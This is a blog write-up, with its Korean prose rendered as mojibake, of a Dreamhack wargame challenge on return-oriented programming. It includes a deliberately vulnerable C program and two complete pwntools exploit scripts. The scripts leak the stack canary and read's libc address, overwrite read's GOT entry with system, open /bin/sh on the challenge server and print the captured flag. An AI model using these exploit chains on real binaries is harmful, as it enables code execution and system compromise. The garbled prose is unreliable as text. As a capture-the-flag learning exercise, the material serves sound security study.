Return Oriented Programming
ROP : ๋ฆฌํด ๊ฐ์ ฏ์ ์ฌ์ฉํ์ฌ ๋ณต์กํ ์คํ ํ๋ฆ์ ๊ตฌํํ๋ ๊ธฐ๋ฒ
๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์ด์ฉํด ๋ฌธ์ ์ํฉ์ ๋ง์ถฐ RTL/Return to dl-resolve/GOT overwrite
๋ฑ์ ์ด์ฉํด ํ์ด๋ก๋๋ฅผ ๊ตฌ์ฑํฉ๋๋ค!
์ง๋ ์๊ฐ์ pop rdi; ret์ ์ฌ์ฉํด system("/bin/sh")์ ํธ์ถํ ๊ฒ๋ ROP๋ฅผ ์ด์ฉํ RTL์ ๋๋ค.
ROP ํ์ด๋ก๋๋ ๋ฆฌํด ๊ฐ์ ฏ์ผ๋ก ๊ตฌ์ฑ๋๋๋ฐ, ret ๋จ์๋ก
์ฌ๋ฌ ์ฝ๋๊ฐ ์ฐ์์ ์ผ๋ก ์คํ๋๋ ๋ชจ์ต์์ ROP Chain์ด๋ผ๊ณ ๋ถ๋ฆฝ๋๋ค.
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
์๋ก ์ฝ๋๋ ์ฐ๋ฆฌ๊ฐ ์ค์ตํ ์ทจ์ฝํ ์ฝ๋์ ๋๋ค.
๋ถ์ ๋ฐ ์ค๊ณ
์์ ๊ฐ์ด Canary์ NX๊ฐ ๊ฑธ๋ ค ์๋ ๋ชจ์ต์ ๋ณด์ค ์ ์์ต๋๋ค. ๋ํ ASLR์ ๊ฑฐ์ ํ์๋ก ์์ฃ
๊ทธ๋ฌ๊ธฐ์ ์ฐ๋ฆฌ๋ RTL ๊ณต๊ฒฉ์ ์ด์ ์ ์งํํ์์ผ๋ฉฐ, ์ง๊ธ์ ROP ๊ณต๊ฒฉ์ ํ ๊ฑฐ์์
์ ํํ๊ฒ๋ ROP Chain ๊ณต๊ฒฉ์ด ๋ ์ ํฉํ ์ฉ์ด๊ฐ๋ค์
์ฝ๋ ๋ถ์๊ณผ ํด๋น ์ทจ์ฝ์ ์ ์ด์ ๊ณผ ์ ์ฌํ๊ธฐ์ ๊ฑด๋๋ฐ๊ณ ..
๋ณด์๋ฉด system ํจ์๊ฐ ์์ผ๋ฏ๋ก ๋ฐ๋ก ์๋ก ์ ๊ทผ์ด ์๋๊ฒ ์ฃ ๊ทธ๋ฌ๋ฏ๋ก ์ฌ์ฉ๋
ํจ์๋ค์ ํ์ฉํ์ฌ plt, got์ ์ ๊ทผํ์ฌ ์ธ์๋ค์ ์กฐ์ํ์ฌ system ํจ์์ฒ๋ผ ์ฌ์ฉํด์ผ๊ฒ ๋ค์
์ฌ๊ธฐ์ ํต์ฌ์ read ํจ์๊ฒ ์ฃ ...
์ด์ ์ฒ๋ผ system์ plt๊ฐ ๊ธฐ๋ก ๋์ง๋ ์๊ณ ์์์ธ /bin/sh๋ ์์ผ๋๊น puts์ ๊ฐ์
์ถ๋ ฅ ํจ์๋ ์ด์ฉํด์ผ๊ฒ ์ฃ (plt์ ๋ฑ๋ก ๋์ด์๋ค๋ฉด got์ ๋น์ฐ์ง์ฌ๋ก ์ ๊ทผ ๋ ๊ฒ์ด๊ธฐ์..)
1. ์นด๋๋ฆฌ ์ฐํ
2. system ํจ์์ ์ฃผ์ ๊ณ์ฐ
system ํจ์๋ libc.so.6์ ์ ์๋์ด ์์ผ๋ฉฐ, ํด๋น ๋ผ์ด๋ธ๋ฌ๋ฆฌ์๋
์ด ๋ฐ์ด๋๋ฆฌ๊ฐ ํธ์ถํ๋ read, puts, printf๋ ์ ์๋์ด ์์ต๋๋ค.
๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ผ์ ๋ฉ๋ชจ๋ฆฌ์ ๋งคํ๋ ๋ ์ ์ฒด๊ฐ ๋งคํ๋๋ฏ๋ก,
๋ค๋ฅธ ํจ์๋ค๊ณผ ํจ๊ป system ํจ์๋ ํ๋ก์ธ์ค ๋ฉ๋ชจ๋ฆฌ์ ๊ฐ์ด ์ ์ฌ๋จ
โป ๋ฐ์ด๋๋ฆฌ๊ฐ system ํจ์๋ฅผ ์ง์ ํธ์ถํ์ง ์์์ system ํจ์๊ฐ GOT์๋ ๋ฑ๋ก X
๊ทธ๋ฌ๋ read, puts, printf๋ GOT์ ๋ฑ๋ก๋์ด ์์ต๋๋ค.
main ํจ์์์ ๋ฐํ๋ ๋๋ ์ด ํจ์๋ค์ ๋ชจ๋ ํธ์ถํ ์ดํ์ด๋ฏ๋ก,
์ด๋ค์ GOT๋ฅผ ์ฝ์ ์ ์๋ค๋ฉด libc์ ๋ฒ์ ์ ๋ง๊ฒ ๋งคํ๋ ์์ญ์ ์ฃผ์๋ฅผ ๊ตฌํ ์ ์์ต๋๋ค.
libc์๋ ์ฌ๋ฌ ๋ฒ์ ์ด ์๋๋ฐ ๊ฐ์ libc์์์ ๋ ๋ฐ์ดํฐ ์ฌ์ด์ ๊ฑฐ๋ฆฌ(Offset)๋ ํญ์ ๊ฐ์ต๋๋ค.
๊ทธ๋ฌ๋ฏ๋ก ์ฌ์ฉํ๋ libc์ ๋ฒ์ ์ ์ ๋, libc๊ฐ ๋งคํ๋ ์์ญ์ ์์ ์ฃผ์๋ฅผ ๊ตฌํ ์ ์์ผ๋ฉด
๋ค๋ฅธ ๋ฐ์ดํฐ์ ์ฃผ์๋ฅผ ๋ชจ๋ ๊ณ์ฐํ ์ ์์ต๋๋ค.
rop.c์์๋ read, puts, printf๊ฐ GOT์ ๋ฑ๋กํ๊ธฐ์ ํ๋์ ํจ์๋ฅผ ์ ํด์ ๊ทธ ํจ์์ GOT ๊ฐ์ ์ฝ๊ณ ,
๊ทธ ํจ์์ ์ฃผ์์ system ํจ์ ์ฌ์ด์ ๊ฑฐ๋ฆฌ๋ฅผ ์ด์ฉํด์ system ํจ์์ ์ฃผ์๋ฅผ ๊ตฌํด๋ผ ์ ์์ ๊ฒ์
๋๋ค.
3. “/bin/sh”
์ด ๋ฐ์ด๋๋ฆฌ๋ ๋ฐ์ดํฐ ์์ญ์ “/bin/sh” ๋ฌธ์์ด์ด ์์ต๋๋ค.
๋ฐ๋ผ์ ์ด ๋ฌธ์์ด์ ์์ ๋ฒํผ์ ์ง์ ์ฃผ์
ํ์ฌ ์ฐธ์กฐํ๊ฑฐ๋, ๋ค๋ฅธ ํ์ผ์ ํฌํจ๋ ๊ฒ์ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
ํ์์ ๋ฐฉ๋ฒ์ ์ ํํ ๋ ๋ง์ด ์ฌ์ฉ๋๋ ๊ฒ์ด libc์ ํฌํจ๋ “/bin/sh” ๋ฌธ์์ด์
๋๋ค.
์ด ๋ฌธ์์ด์ ์ฃผ์๋ system ํจ์์ ์ฃผ์๋ฅผ ๊ณ์ฐํ ๋์ฒ๋ผ libc ์์ญ์ ์์ ์ฃผ์๋ฅผ ๊ตฌํ๊ณ ,
๊ทธ ์ฃผ์๋ก๋ถํฐ ๊ฑฐ๋ฆฌ๋ฅผ ๋ํ๊ฑฐ๋ ๋นผ์ ๊ณ์ฐํ ์ ์์ต๋๋ค.
์ด ๋ฐฉ๋ฒ์ ์ฃผ์๋ฅผ ์๊ณ ์๋ ๋ฒํผ์ “/bin/sh”๋ฅผ ์ ๋ ฅํ๊ธฐ ์ด๋ ค์ธ ๋ ์ฐจ์ ์ฑ ์ผ๋ก ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
์ด ์ค์ต์์๋ ROP๋ก ๋ฒํผ์ “/bin/sh”๋ฅผ ์ ๋ ฅํ๊ณ , ์ด๋ฅผ ์ฐธ์กฐํ๊ฒ ์ต๋๋ค.
4. GOT Overwrite
system ํจ์์ “/bin/sh” ๋ฌธ์์ด์ ์ฃผ์๋ฅผ ์๊ณ ์์ผ๋ฏ๋ก,
์ง๋ ์ฝ์ค์์์ฒ๋ผ pop rdi; ret ๊ฐ์ ฏ์ ํ์ฉํ์ฌ system(“/bin/sh”)๋ฅผ ํธ์ถํ ์ ์์ต๋๋ค.
๊ทธ๋ฌ๋ system ํจ์์ ์ฃผ์๋ฅผ ์์์ ๋๋ ์ด๋ฏธ ROP ํ์ด๋ก๋๊ฐ ์ ์ก๋ ์ดํ์ด๋ฏ๋ก,
์์๋ธ system ํจ์์ ์ฃผ์๋ฅผ ํ์ด๋ก๋์ ์ฌ์ฉํ๋ ค๋ฉด mainํจ์๋ก ๋์๊ฐ์ ๋ค์ BOF๋ฅผ ์ผ์ผ์ผ์ผ ํฉ๋๋ค.
์ด๋ฌํ ๊ณต๊ฒฉ ํจํด์ ret2main์ด๋ผ๊ณ ๋ถ๋ฅด๋๋ฐ,
์ด ์ฝ์ค์์๋ GOT Overwrite ๊ธฐ๋ฒ์ ํตํด ํ ๋ฒ์ ์
ธ์ ํ๋ํ๊ฒ ์ต๋๋ค.
์์ ๋งํฌ๋ฅผ ๋ณด์๋ฉด Lazy binding์ ๋ํด ๋ฐฐ์ด ๋ด์ฉ์ ์ ์ ์์ ๊ฒ์ ๋๋ค.
Lazy binding
๋ฆฌ๋ ์ค ELF ๋ฐ์ด๋๋ฆฌ์์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์์ ์์์ฃผ์๋ฅผ ๊ตฌํ์ง ์๋ค๊ฐ
ํจ์๋ฅผ ์ฒ์ ํธ์ถํ ๋ ํด๋น ์ฃผ์๋ฅผ ๊ตฌํ๋ ๊ฒ
โป Lazy Binding โป
- ํธ์ถํ lib ํจ์์ ์ฃผ์๋ฅผ ํ๋ก์ธ์ค์ ๋งคํ๋ lib์์ ์ฐพ์
- ์ฐพ์ ์ฃผ์๋ฅผ GOT์ ์ ๊ณ , ์ด๋ฅผ ํธ์ถ
- ํด๋น ํจ์๋ฅผ ๋ค์ ํธ์ถํ ๊ฒฝ์ฐ, GOT์ ์ ํ ์ฃผ์๋ฅผ ๊ทธ๋๋ก ์ฐธ์กฐ
์ ๊ณผ์ ์์ GOT Overwrite์ ์ด์ฉ๋๋ ๋ถ๋ถ์ 3๋ฒ์
๋๋ค.
GOT์ ์ ํ ์ฃผ์๋ฅผ ๊ฒ์ฆํ์ง ์๊ณ ์ฐธ์กฐํ๋ฏ๋ก GOT์ ์ ํ ์ฃผ์๋ฅผ ๋ณ์กฐํ ์ ์๋ค๋ฉด,
ํด๋น ํจ์๊ฐ ์ฌํธ์ถ๋ ๋ ๊ณต๊ฒฉ์๊ฐ ์ํ๋ ์ฝ๋๊ฐ ์คํ๋๊ฒ ํ ์ ์์ต๋๋ค.
์์๋ธ system ํจ์์ ์ฃผ์๋ฅผ ์ด๋ค ํจ์์ GOT์ ์ฐ๊ณ , ๊ทธ ํจ์๋ฅผ ์ฌํธ์ถํ๋๋ก ROP ์ฒด์ธ์ ๊ตฌ์ฑ๋ฉ๋๋ค
Libc DB ์ ๊ทผ
๋ฌธ์ ์ ์ ํด๋น local๊ณผ ์๊ฒฉ์ libc๊ฐ ๋ค๋ฅธ ์ ์์ ๋ง์ด ๋งํ์๊ฑฐ์์
์ ๋ ํด๋น ๋๊ธ ๋ณด๋ฉด์ libc์ ํด๋น ๋ก๋๋งต์ ๊ฐ์๋ฅผ ๋ณด๋ฉด์ ํ์๊ธฐ์ ์ ์ ์์์ง๋ง.. ํ์ด๋ฅผ ๋ณด๋ ์ค
์ข์ ๋ถ๋ถ์ด ์๊ธฐ์ ์ฐธ๊ณ ํด์ ์ถ๊ฐ๋ก ์ฌ๋ ค๋๋ฆฝ๋๋ค ใ
#!/usr/bin/python3
from pwn import *
def slog(name, addr): return success(' : '.join([name, hex(addr)]))
def check_memory_address_leak(func_name):
ret = 0x40055e
pop_rdi_ret = 0x4007f3
e = ELF('./rop', checksec=False)
p = remote('host3.dreamhack.games', 20308)
puts_plt = e.plt['puts']
main_addr = e.symbols['main']
func_got = e.got[func_name]
# Canary leak
payload = b'A' * 0x39
p.sendafter('Buf: ', payload)
p.recvuntil(payload)
Canary = u64(p.recvn(7).rjust(8, b'\x00'))
# leak func_addr
payload = b'A' * 0x38
payload += p64(Canary)
payload += b'B' * 0x8
#payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(func_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendafter(b'Buf: ', payload)
func_addr = u64(p.recvn(6) + b'\x00\x00')
slog(func_name, func_addr)
p.close()
def main():
func_list = []
func_list.append('puts')
func_list.append('printf')
func_list.append('read')
func_list.append('setvbuf')
for func_name in func_list:
check_memory_address_leak(func_name)
if __name__ == '__main__':
main()
์์ ๋งํฌ๋ ์ ๊ฐ ์ฐธ๊ณ ํ ์๋ฃ์
๋๋ค. ์ ๋ง ์ข์ ์๋ฃ์ธ๊ฑฐ ๊ฐ๋ค์
๊ทธ๋์ ํด๋น lib์ got์ ๊ฐ์ ์์๋๊ธฐ์ ์๋ ์ฌ์ดํธ์ ์ ์ํด ํ์ธ์ ํด๋ณผ๊น์
๊ฒฐ๊ณผ๋ฅผ ๋ณด์ ๋ค๋ฉด libc6_2.27.. ๋ฒ์ ์ lib๋ฅผ ์ฌ์ฉํ๋๊ฑธ ํ์ธํ ์ ์์ต๋๋ค
๊ทธ๋ฆฌ๊ณ system ํจ์์ difference๊ฐ 0์ผ๋ก ํ์ ๋๋ ๊ฒ๋ ํ์ธ ํ ์ ์๋ ๋๋ชฉ์ด๊ณ ์
๊ทธ๋ผ ์ด์ ๋ฒ์ ๊น์ง ์์์ผ๋ฏ๋ก Exploit์ ์คํํด๋ณผ๊น์
Exploit_Write Up
ROP chain์ ํ ๋ ค๋ฉด 14~16์ฒ๋ผ ํด์ผ๊ฒ ์ฃ .. ์ ๊ทธ๋ผ ๊ตฌํ libc์ ๋ฒ์ ์ ์ ์์ฐ๋..
์ ์จ๋ ์คํ์ด ๋๋๋ผ๊ณ ์.. ์ค๊น์?? ๊ทธ๋ฆฌ๊ณ ์์๋ณด๋๊น 14-15์ฒ๋ผ ํ๋ฉด ๊ฒฐ๊ณผ๊ฐ ๊น๋!
๊ทธ๋ฆฌ๊ณ ํ์ผ๋ก local๋ก ์คํํ๊ณ ์ถ๋ค๋ฉด 15๋ฒ์ ์ฃผ์ํ์๊ณ 16๋ฒ์งธ ์ค์ ํ์ฑํ ํ์๋ฉด ๋ฉ๋๋ค
์๊น libc_DB์์ ๋ณธ ๊ฒ์ฒ๋ผ system์์ ๋ณด์ ๊ฒ์ฒ๋ผ ์ฐจ์ด๊ฐ 0์ด๋๊น
๋งจ ์ฒ์์ธ rbp.. ๋ค์๋ถํฐ rsp๋ก ๋ค๊ฐ๊ฐ๋ค..๋ผ๊ณ ์๊ฐํ์๋ฉด ๋ ๊ฑฐ ๊ฐ๋ค์ ์ค์ ๋ก BSS?์ด๋ฐ๋ฐ ์์ฃผํ๊ฒ ์ง๋ง์
๊ทธ๋ฆฌ๊ณ ์ ํฌ๋ systemํจ์๋ฅผ read๋ฅผ ํตํด ์ธ์ ์ ๋ ฅ๊ณผ ์์น๋ฅผ ๊ตฌํ ๊ฒ๋๋ค.
ํต์ฌ!!!
- ์นด๋๋ฆฌ๊น์ง ๊ตฌํ๊ณ ๋ ํ์ put๋ก read์ got์ ๊ฐ์ ์
๋ ฅํฉ๋๋ค
- ์ฐธ๊ณ ๋ก linux_syscall์ ๋ฐ๋ผ์ ์ ๋ ๊ฒ ์ธ์๋ฅผ ๋ฃ๋๋ต๋๋ค! - read์ ์ธ์๊ฐ์ ์ฃผ์์ฒ๋ผ ๋ฃ๊ณ ์ถ์๋ฐ ์ธ์๊ฐ syscall์ ๊ท์น์ ์ํด์ ๋ฃ์ด์ผํ๋๊น..
์ ๋ ๊ฒ ํ ๋ฒ ๋ฃ๊ณ 0์ผ๋ก ์ถ๊ฐํ๋ฉด ๋ฉ๋๋ค rdi ← p64(0)/rsi ← p64(read_got)&r15(๋ถํ์) ← 0..
- ์ฐธ๊ณ ๋ก ๋ญ๋ ํด๋น ํจ์์ plt๋ก ๋๋ด์ค์ผ got๋ ์ฐ๊ฒฐ๋๊ณ ํด๋น ํจ์๋ก ์คํ๋๊ฒ ์ฃ ? - 50๋ฒ์งธ์ฒ๋ผ ํ ์ด์ ๋ stack alignment์ ๋๋์ฒ๋ผ system ํจ์๋ ํญ์ ์ค๊ฐ ์
๋ ฅ์ด..
0x10์ผ๋ก ๋๋ด์ผํ๋ค๊ณ ์ ์ ๊ทธ๋ฌ์ฃ .. ๊ทธ ์ด์ ๋๋ถ์ ์ ๋ ๊ฒ ํฉ๋๋ค
์ง์คํ์
จ๋ค๋ฉด ๋ถ๋ช
์๋ฌธ์ ์ด ๋ค๊ฑฐ์์ ํนํ, 45์ค์ ์ read_got๋ก ๋ค์ read๋ฅผ ๋ถ๋ฅผ๊น.. ์ด๊ฑด
ํ์ ๋์ค๊ฒ ์ง๋ง ์
๋ ฅ๋ฐ๊ธฐ ์ํด์์์ ๊ทธ๋ ๊ฒ ๋๋ค๋ฉด ๋ฐ์ง๊ณ ๋ณด๋ฉด 2๋ฒ ์
๋ ฅ ๋ฐ๋ค์ ใ
๋ํ read์ rdx์ ๊ฐ์ ์ฌ๊ธฐ์ ๋ง์ด ํ ๋น์ด ๋ ์ํ๋ผ์ ๋ฐ๋ก ์ ํด๋ ๋๋๊ฑฐ ๊ฐ์์..
์์ ์ ์ธ ์ฝ๋๋ฅผ ์ํ๋ฉด ์ถ๊ฐ์ ์ผ๋ก ์
๋ ฅํ๊ณ libc_csu_init์ผ๋ก ํด์ผํ๋ค๋๋ฐ.. ์ฌํ๋ด์ฉ์ด๋ผ์ ใ
๋์ค์.. ๊ณต๋ถํด์ ์ฌ๋ ค๋ด์ผ๊ฒ ์ฃ ใ
๊ทธ๋ฆฌ๊ณ ํจ์์ ์ธ์๋ค์ ๋ํ์ฌ ์๊ณ ์ถ๋ค๋ฉด ์ฌ๊ธฐ๋ก..
์ด์ ๊ถ๊ธํ ์๋ ์๋ ๊ฐ ์ฌ์ฉ๋๊ณ ์ด์ฉ๋ libc์ offset์ ๋ํ์ฌ ์๊ณ ์ถ๋ค๋ฉด..
์ ๋ ๊ฒ middleware๋ก ํ์ธ์ ํด๋ด์ผ๊ฒ ์ฃ
๋ณด์๋ฉด.. payload๋ก ์๋ ์์ ํ์ธํ๋ ์ฝ๋๋ ์๋๋ฐ ์ ์ฉํด์ ๋ณด๋ด๋ฉด
์ฒ์์ put(read_got)๋ก ํธ์ถ๋๊ฑธ ํค ํ๋๋ฐ ๊ทธ์ ์ bof+Cnry leak์ ํ์ผ๋๊น.. ํธ์ถ๋๊ฒ ์ฃ
๊ทธ๋ ๊ฒ ์ฐจ๊ทผ์ฐจ๊ทผ 56์ ์ป์ read์ ์์น์์ symbol๊ฐ์ ๋นผ๋ฉด libc_base์ offset์ ๊ตฌํ ์ ์์ด์
๊ตฌํ๋ ์ด์ ๋ ASLR์ด ๋ ๋ค์ ๊ฐ์ด ์๋ ํด๋น lib์ ๋ฒ์ ์ ๋ฐ๋ฅธ offset์ ๋ฐ๋ผ ํ๊ธฐ์ ํ์ํด์
lib_base๋ก ํ๊ณ system์ ์๊น์ ์ ๊ฐ lib์ offset์ ์ฐจ์ด๋ ๊ฐ๋ค๊ณ ํ์ผ๋
์ด์ ์ผ๋ก ๋บ ๊ฒ์์ lb๋ symbol table์ system์ ์์น๋ฅผ ๋ํด์ค๋ค๋ฉด..๋ค ๊ตฌํ์ฃ
ํต์ฌ์ธ p.send(p64(system) + b'/bin/sh\x00')์ ๋ํ์ฌ ๋ถ์ํ์๋ฉด..
์๊น system ํจ์์ ์์น๋ฅผ ์ฐพ์๊ณ ๋ํ read์ got์ ๊ฐ์ ๋ฃ์์์ผ๋ก ์ ๋ ๊ฒ ์ถ๊ฐ์ ์ผ๋ก ๋ฃ๊ณ
๋์ ๋๋๋ null-byte๊น์ง ๋ฃ์ด์ฃผ๋ฉด.. ์๋ฒฝํ๊ฒ ๊ฒ์์ด ๋๋ฌ๋ค์!!
#/!/usr/python3
from pwn import *
host = 'host3.dreamhack.games'
port = 8331
def slog(name, addr): return success(' : '.join([name, hex(addr)]))
context(arch='amd64', os='linux')
#context.log_level = 'debug'
#p = process('./rop')
p = remote(host, port)
e = ELF('./rop', checksec=False)
libc = ELF('./libc-2.27.so', checksec=False)
#libc = e.libc
#gdb.attach('./rop)
# [1] leak Canary
buf = b'A' * 0x39
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
Cnry = u64(b'\00'+p.recvn(7))
# [2] exploit
read_system = libc.symbols['read'] - libc.symbols['system']
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x4007f3
pop_rsi_r15 = 0x4007f1
#payload leak Canary
payload = b'A'*0x38 + p64(Cnry) + b'B'*0x8
#put(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
#read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
#read('/bin/sh') == system('/bin/sh')
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(read_plt)
#check middleware
p.sendafter('Buf: ', payload)
read = u64(p.recvn(6) + (b'\00' * 2))
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
read_sym = libc.symbols['read']
#slog('libc vestion offset', read_system)
slog('Canary', Cnry)
slog('read', read)
slog('libc_base', lb)
slog('system', system)
slog('read_sym', read_sym)
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
DH{68b82d23a30015c732688c89bd03d401}
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
oneshot (0) | 2022.10.30 |
---|---|
basic_exploitation_002 (0) | 2022.10.30 |
Exploit Tech: Return to Library (0) | 2022.06.13 |
Background: Library - Static Link vs. Dynamic Link (0) | 2022.06.08 |
Mitigation: NX & ASLR (0) | 2022.06.07 |